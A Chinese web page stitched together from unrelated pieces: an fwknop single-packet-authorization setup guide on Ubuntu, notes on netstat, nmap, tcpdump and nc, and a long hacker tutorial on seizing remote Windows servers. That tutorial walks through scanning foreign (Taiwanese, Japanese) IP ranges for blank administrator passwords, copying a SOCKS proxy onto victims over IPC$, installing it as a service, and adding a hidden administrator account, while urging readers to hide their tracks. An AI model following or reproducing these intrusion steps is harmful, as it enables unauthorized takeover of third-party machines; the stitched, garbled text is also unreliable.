Ubuntu Linux下安装单包认证fwknop,并且测试敲门认证流程
安装环境:Ubuntu虚拟机2004LTS(server & client)
以下步骤依据fwknop官方文档[1],依据源码编译同时安装客户端与服务器端,详情见 http://wwwcipherdyneorg/fwknop/docs/fwknop-tutorialhtml
安装完成后查看安装位置以及客户端与服务器端的版本信息:
服务器启动失败问题:
1、官方文档给出的部分命令是错的,启动SPA防火墙需要使用命令 service fwknop-server start 或者 sudo fwknopd start 而不是 service fwknop start 。
2、配置错误,官方文档只给出accessconf配置规则,还需要修改fwknopdconf配置文件(均位于 /etc/fwknop/ 目录下)
通过命令 grep fwknopd /var/log/syslog 打印信息如下:
fwknop是一项Single Packet Authorization(SPA,单包认证)技术,其保留了Port Knocking(敲门技术)的优点(在默认丢弃数据包过滤器后提供服务保护),但与Port Knocking相比又有如下优点,详见 http://wwwcipherdyneorg/fwknop/ :
fwknop的单包授权消息格式[2]:为了让 fwknop SPA 客户端进行身份验证并允许应用后续授权标准,必须将几条信息安全地传送到SPA敲门服务器。fwknop 客户端在每个 SPA 敲门消息中传输以下内容,详见 http://wwwcipherdyneorg/fwknop/docs/SPAhtml :
SPA包的详细内容详见 https://wwwlinuxjournalcom/article/9565
1、首先在客户端安装nmap端口扫描工具,用于测试后续的SPA服务器端的端口开放情况
2、客户端与服务器端分别运行ifconfig查看各自局域网ip,我的ip为: server:1721693130, client:1721693131 。在复现时分别用自己的局域网ip替换
3、客户端对服务器进行端口扫描
结果如下,发现没有端口开放:
4、服务器端安装openssh-server用于开放22端口进行测试
安装完毕后客户端再进行端口扫描,结果如下,发现22端口开放:
通过ssh进行测试:
5、根据官方 tutorial 中的Default-Drop firewall policy中进行iptables配置
其中ens33选择填入自己的网卡名称,客户端再进行nmap端口扫描,发现22端口被过滤:
同时使用ssh连接发现无法连接:
6、客户端生成秘钥(-a后为客户端ip,-D后面为服务器ip,-p后为服务器监听SPA包的端口,-P后为发送的SPA包的协议,一般采用UDP包)
生成的秘钥在当前用户的主目录下,使用命令查看:
同时在服务器端进行配置:
配置情况如下:
随后服务器启动fwknop并查看状态:
结果如下,同时客户端使用ssh尝试连接发现依旧timeout:
7、客户端发送敲门SPA包,并且服务器查看fwknop状态并打印信息:
对客户端发出的SPA敲门包抓包显示如下,其从客户端的40477端口发送至服务器的62201端口(fwknop默认敲门监听端口)
服务器端显示信息如下
发现其收到SPA敲门包并将为客户端(1721693131)添加规则,此时客户端用nmap进行端口扫描,发现依旧被过滤。
1、客户端生成秘钥时不能使用sudo,否则生成的fwknoprc将会在root目录下(/root/)
2、在客户端发送SPA敲门数据包后,使用nmap扫描会致使服务器关闭其权限,因此无法再直接使用ssh连接,需要重新再发送SPA敲门包后再直接使用ssh连接才能够连接服务器。
3、可能由于服务器端fwknop监听的端口被防火墙关闭而导致收不到敲门数据包,因此需要保证端口畅通,其中62201为fwknop监听SPA包的端口:
1、由于国内运营商多是动态分配ip的,因此每次敲门及ssh连接都需要确定自己的公网ip并且生成秘钥。
2、由于共享公网ip的情况,在自己主机敲开门之后,与主机在相同公网ip下的其他主机也可以进行ssh连接。虽然开门时间短,但是如果有黑客一直专门盯着,在检测到发出SPA包之后使用同一公网ip下的主机或是伪造ip进行攻击,则有可能突破。fwknop主要是防御大范围端口扫描乱扫的黑客。
[1] http://wwwcipherdyneorg/fwknop/docs/fwknop-tutorialhtml
[2] Rash M Single packet authorization with fwknop[J] login: The USENIX Magazine, 2006, 31(1): 63-69
介绍Linux环境下网络工具的使用,netstat从内部查看网络的状况,显示网络连接、路由表、接口等信息,我们使用netstat –lntup,l是监听,n是用数字格式显示,如用ip地址、端口号都用数字表示,t是tcp信息,u是udp信息,p是端口。
端口扫描工具nmap,是一款黑客使用的工具,建议大家不要用来扫描公网ip,以避免有法律纠纷争议,我们用nmap常用参数nmap –sT 172111来扫描内网一台服务器,该台服务器开放的端口有22、23、443
我们还可以对操作系统信息进行扫描,用命令nmap –sS -O 172111来扫描该台设备的版本信息进行扫描,通过扫描不仅知道端口开放的情况,也知道扫描的设备是什么型号。
我们介绍tcpdump的使用,从管理的网络里面获取流量,对获取的包进行分析,我们通过命令tcpdump -i eth0 对网卡eth0的流量进行抓取,参数-i是接口的意思。当前我们获取了信息包括CDP的一些信息,可以通过cdp信息查看到核心交换机的信息,还可以看到一些生成树的信息。
下面我们介绍一款在Linux环境下更为直观的抓包软件wireshark,首先需要对该软件进行安装,我们通过yum install wireshark安装软件,按照系统提示一步步安装,直至安装全部完成。
我们同时还可以安装图形化的wireshark软件,通过命令yum list wire看可以显示可以安装的首字母是wire所有软件,这里的是通配符,匹配任意字符,这里的wireshark-gnomex86_64是图形化的软件,我们通过yum install wireshark-gnomex86_64,安装成功后的使用在windows下面使用是相同的,可以选择一块网卡进行抓包并对抓的包进行过滤分析。
①Windows系统服务器,用dos扫描打开的端口
快捷键WIN+R在运行中输入“cmd”确定
netstat -na
②Linux系统服务器,终端中用nc命令扫描端口
nc -v -w 2 `102464615 -i` 3901-3905
#扫描ip地址102464615的端口开启情况
nc: connect to 102464615 port 3901 (tcp) failed: Connection refused
nc: connect to 102464615 port 3902 (tcp) failed: Connection refused #端口关闭
Connection to 102464615 3903 port [tcp/charsetmgr] succeeded! #端口开通
nc: connect to 102464615 port 3904 (tcp) failed: Connection refused
Connection to 102464615 3905 port [tcp/mupdate] succeeded! #端口开通
特别提醒:千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实的做跳板,不要总是去想着做什么坏事。 千万不要用国内的主机做试验啊,否则等着警车来接你啦 怎样制作代理跳板 说明:(1)这篇文章是我自己做跳板的一点体会,是些给那些从来没有做过跳板的网友看的。做过跳板的网友就不用看了。 (2)本文讲述的是做跳板最简单,最基础的方法,仅仅是给新手提供一个思路,一些稍微复杂的方法比如unicode,CGI等等这里不讲。 (3)做跳板毕竟算是一种入侵行为,有了跳板和肉鸡以后,千万要用在该用的地方,不要刻意去“黑“别人啊!! 准备工作: 做一件事情,至少需要两个方面的准备工作:相关的基础知识和做这件事情的工具。 基本的工具:(1)x-scan v13:强大的漏洞扫描工具,对于初学者来说非常好的一个工具。我们主要用他来扫描一些基本的漏洞(主要是NT弱密码),用法在后面会具体说。(其实流光很不错的,但是我觉得流光再扫NT弱密码的时候太烦了) (2)superscan:非常快速的端口扫描工具,可以在很短的时间里发现某个IP域上IP的分布。为什么用他呢?主要是避免盲目扫描,提高效率:某个 IP域上IP地址的分布不是连续的,也许他从xxxxxx00-xxxxxx50255上每个IP都是有计算机存在的,而从 xxxxxx510- xxxxxx100255每个IP都没有计算机存在。如果你事先不知道这一段上根本没有主机的话,花了很长时间去扫描也不会有结果,浪费时间和金钱 啊。 (3)fluxay 40:大名鼎鼎的扫描工具,我们主要用它的NT管道命令功能来连接目标主机,以及添加用户、远程启动服务等。注意了:最好是fluxay 40版本。 (4)windows2000下的c:\命令提示符工具:也就是说,跳板的制作至少是要在windows2000以上的操作系统下进行。 (5)sksockserverexe:做跳板的主角,就是用它来实现远程主机的socks5代理功能的。 (6)全球IP地址分配表:这个对于高手来说是不必要的,用他的目的是考虑到很多以前没有做过跳板的网友对IP的分布不了解,我们主要的目标还是国外的主 机,因此对国外的IP分布有一些了解是很重要的,也是以后我们选定所要扫描的IP域的主要根据。这样的话,就省得再去用“追捕”软件查找IP的实际所在地 了。 好了工具准备完了,现在了解一下做跳板的大概过程。 注意:刚才你下载的这些东东不是放在你的硬盘上!放在什么地方呢?放在“肉鸡”上! 就是说我们做跳板的过程是在肉鸡上完成的。 名词解释肉鸡:肉鸡是开了3389端口微软终端服务(microsoft terminal service),又有弱密码的高速服务器,俗称“肉鸡”。我们之所以要在肉鸡上做,是出于安全考虑,因为做跳板毕竟是一种非法入侵行为,我们需要隐藏自 己的踪迹,当然,不想用肉鸡也可以,前提是你有足够的带宽,而且不怕公安上门找你麻烦。(当然,进入肉鸡本身也是一种非法的入侵)。我们用 mstscexe这个软件登陆上肉鸡,就可以像平时我们在自己电脑上一样用鼠标控制远程的服务器(也就是肉鸡)做我们要做的事情。 过程:为了叙述的方便,先假设我们已经有了一个肉鸡。下面的步骤没有特殊说明都是在“肉 鸡”上完成的。 (1) 先在自己的机器上打开全球IP地址分配表,选取一个IP区域 (2) 登陆上肉鸡,把刚才说到的工具在肉鸡上下载好,就用肉鸡自己的IE下载就行了。 (3) 主要的过程是:先用superscan扫描(1)选定的IP区域,找到其中一个IP很集中的区域,然后放到x-scan进行漏洞扫描(因为是面对以前没有 做过跳板的网友,所以这里只介绍用NT弱密码制作跳板),找到若干个有弱密码的IP,把sksockserverexe上传到目标主机上,然后远程启动 sksockserver。这样,跳板就做好了。 我们一起来实践一下,做一个跳板: (1) 刚才说过了,没有肉鸡做跳板是不行的,尤其是拨号上网的网友(速度慢)。我们首先登陆上一个已经知道的肉鸡:xxxxxxxxxxxx。帮刚才上面 提到的东东都准备好。最好是集中放置,这样便于我们使用。不要到处乱放,否则主人一进来就知道有人进过他的机器。 (2) 我们选择2108500-2108550255这一段IP(台湾),放在superscan里面去,把superscan的端口设置改成只有 80一个端口,然后确定,开始扫描。这时,在下面的输出框里面,就会出现一大批的活跃IP,看见了吗?2108500-2108540255 这一段上都是活跃的IP。现在我们随便选一个IP区域,比如我们就选2108500-210855255这一段,不要太长,因为下一步我们要 把他们放进x-scan进行扫描,x-scan扫描速度并不是很快,太多的话,会降低效率,而且IP区域过长的话,有可能使x-scan出现误报。 x-scan的使用方法这里就不详细叙述了这里要做的就是:在“设置”菜单里,先选“扫描模块”,选择“开放端口”和“NT弱密码”两个选项,在“扫描参 数”里,填上我们刚才选定的IP范围:2108500-210855255,接着,在其中“端口相关设置”里,把原先一长串的端口去掉,只填 上80,3389两个端口,其他的设置就用默认的好了,不用再改了。然后就开始搜索,这需要大概你8、9分钟的时间(因为x-scan虽然简单,但是速度慢),这段时间你大可以做一点自己的其他事情,等时间差不多了,你再看看x-scan里面的结果:好的,N个机器的密码为空,这下子有收获了!但是要说的 是,x-scan有一些误报,大家一定要有耐心去试啊! (3) 我们随便从中间随便选了一个,比如:21085014:administrator 空。接下来的事情, 是要验证它到底接不接受我们的连接,密码是不是正确。现在用到流光了,打开流光,选择“工具”里面的“NT管道远程命令”,出现对话框,把刚才的IP,用户名,密码填进去,然后回车。在界面上“NTCMD>”提示符后面打入CMD,连接成功,屏幕上出现了“C:\WINNT\ SYSTEM32>”的提示符。这证明,刚才的用户名和密码是正确的,这台机器已经基本是你的了。好了,我们进去了,想想我们要做什么呢?对了,是做跳板,我们还要把sksockserverexe放到21085014上,这样才能启动服务,让这台机器做为跳板!怎么把这个东东放上去呢: 调出肉鸡上的CMD,在命令提示符下按下面的方法做: c:\net use \\21085014\ipc$ “”/user:“administrator”(建立IPC连接) 系统提示:命令成功完成。 Copy c:\sksockserverexe \\21085014\admin$ 系统提示:成功复制一个文件。 这样我们就成功地把sksockserverexe传到了目标主机上。接下来的任务就是把他远程启动就行了。 我们又回到刚才流光的NTCMD里,在提示符下按下面的方法做: c:\sksockserver –install 系统提示:snake sockproxy service installed c:\sksockserver –config port 1949(端口自己来定,这里的1949是随便选的) 系统提示:the port value have set to 1949 c:\sksockserver –config starttype 2 系统提示:the starttype have set to 2---auto c:\net start skserver 系统提示服务启动成功。 这个时候,这台机器已经成为你的跳板了。 下面简单的说一说自己找肉鸡的方法。 工具:(1)sockscap:强大的socks代理调度软件。 (2)snake的代理跳板GUI(图形界面程序) (3)mstsc:微软terminal service终端服务的客户端程序。用于登陆3389肉 鸡。有了它,我们就可以象控制自己的机器一样控制终端服务器,做我们的事情了。 其实前面两个都是附属的工具,只有mstsc才是真正唱主角的。 Sockscap和sksockserver GUI配合实现实现跳板的使用,可以隐藏我们的 入侵痕迹。 我们现在还没有肉鸡,那么一切事情都只能在我们自己的机器上做了,如果你不放心的话 可以到网吧去做下面的事情。 但是,要提醒的是,千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实 的做跳板,不要总是去想着做什么坏事。 步骤其实跟做跳板也很相似的。刚才我们在x-scan搜索的端口里设置了3389,如果一台机 器开了3389端口,而且有了弱密码的话,那这样的机器就是所谓的“肉鸡”了。(当然输入 法漏洞有的时候也可以做成肉鸡,但是毕竟现在有输入法漏洞的机器太少了,远远不及有弱 密码的终端服务器那么多,所以我们还是选择了后者,而且输入法漏洞只适合国内机器。一 个一个去试验,真是太浪费时间了!会烦死的。) 具体搜索过程跟刚才在作跳板里是一样的,找到一个开了3389端口服务,而且有弱密码的 机器。我们在上面搜索的结果中仔细地看看,终于发现了一台:21085284:frank41:空。而 且开了3389服务。要把这台机器变成自己地机器那肯定要有自己的登录名,否则每次总是 用别人的,那还怎么叫是自己的机器?我们现在来为自己添加一个用户名,把自己提升成为 root权限,那么我们就可以做任何事情了。打开流光,选择“工具”里面的“NT管道命令” 填上刚才得到的用户名跟密码:frank41:空。然后确定,进入NTCMD界面,在提示符下 键入:CMD,连接成功以后在系统提示符下如下操作: c:\net user admin /add(添加一个admin用户) c:\net user admin shonline788(使得admin的密码是shonline788) c:\net localgroup administrators admin /add(把用户admin提升为administrator即管理员身份) 这样我们就成功的在这台机器中取得了root权限,可以作任何事情了,但是别做坏事噢。 下一步,就要用上我们刚才准备的这些工具了。在网上搞几个socks代理,把sockscap和 sksockserverGUI设置好,把mstsc的图标拖到sockscap里去,双击mstsc的图标,在其中填 上你刚才找到的肉鸡IP:21085284,然后回车进行连接。成功以后,会出现一个跟我们平 时登陆windows2000时候一样的一个蓝色的界面,在里面填上我们刚才添加的用户名和密 码,回车登陆。登陆成功以后就会出现该主机的图形界面,这个时候你就可以象操作自己的 机器一样,操作别人的机器。至此,你已经获得了一台肉鸡。就可以做我们上面做过的事情 了。
0条评论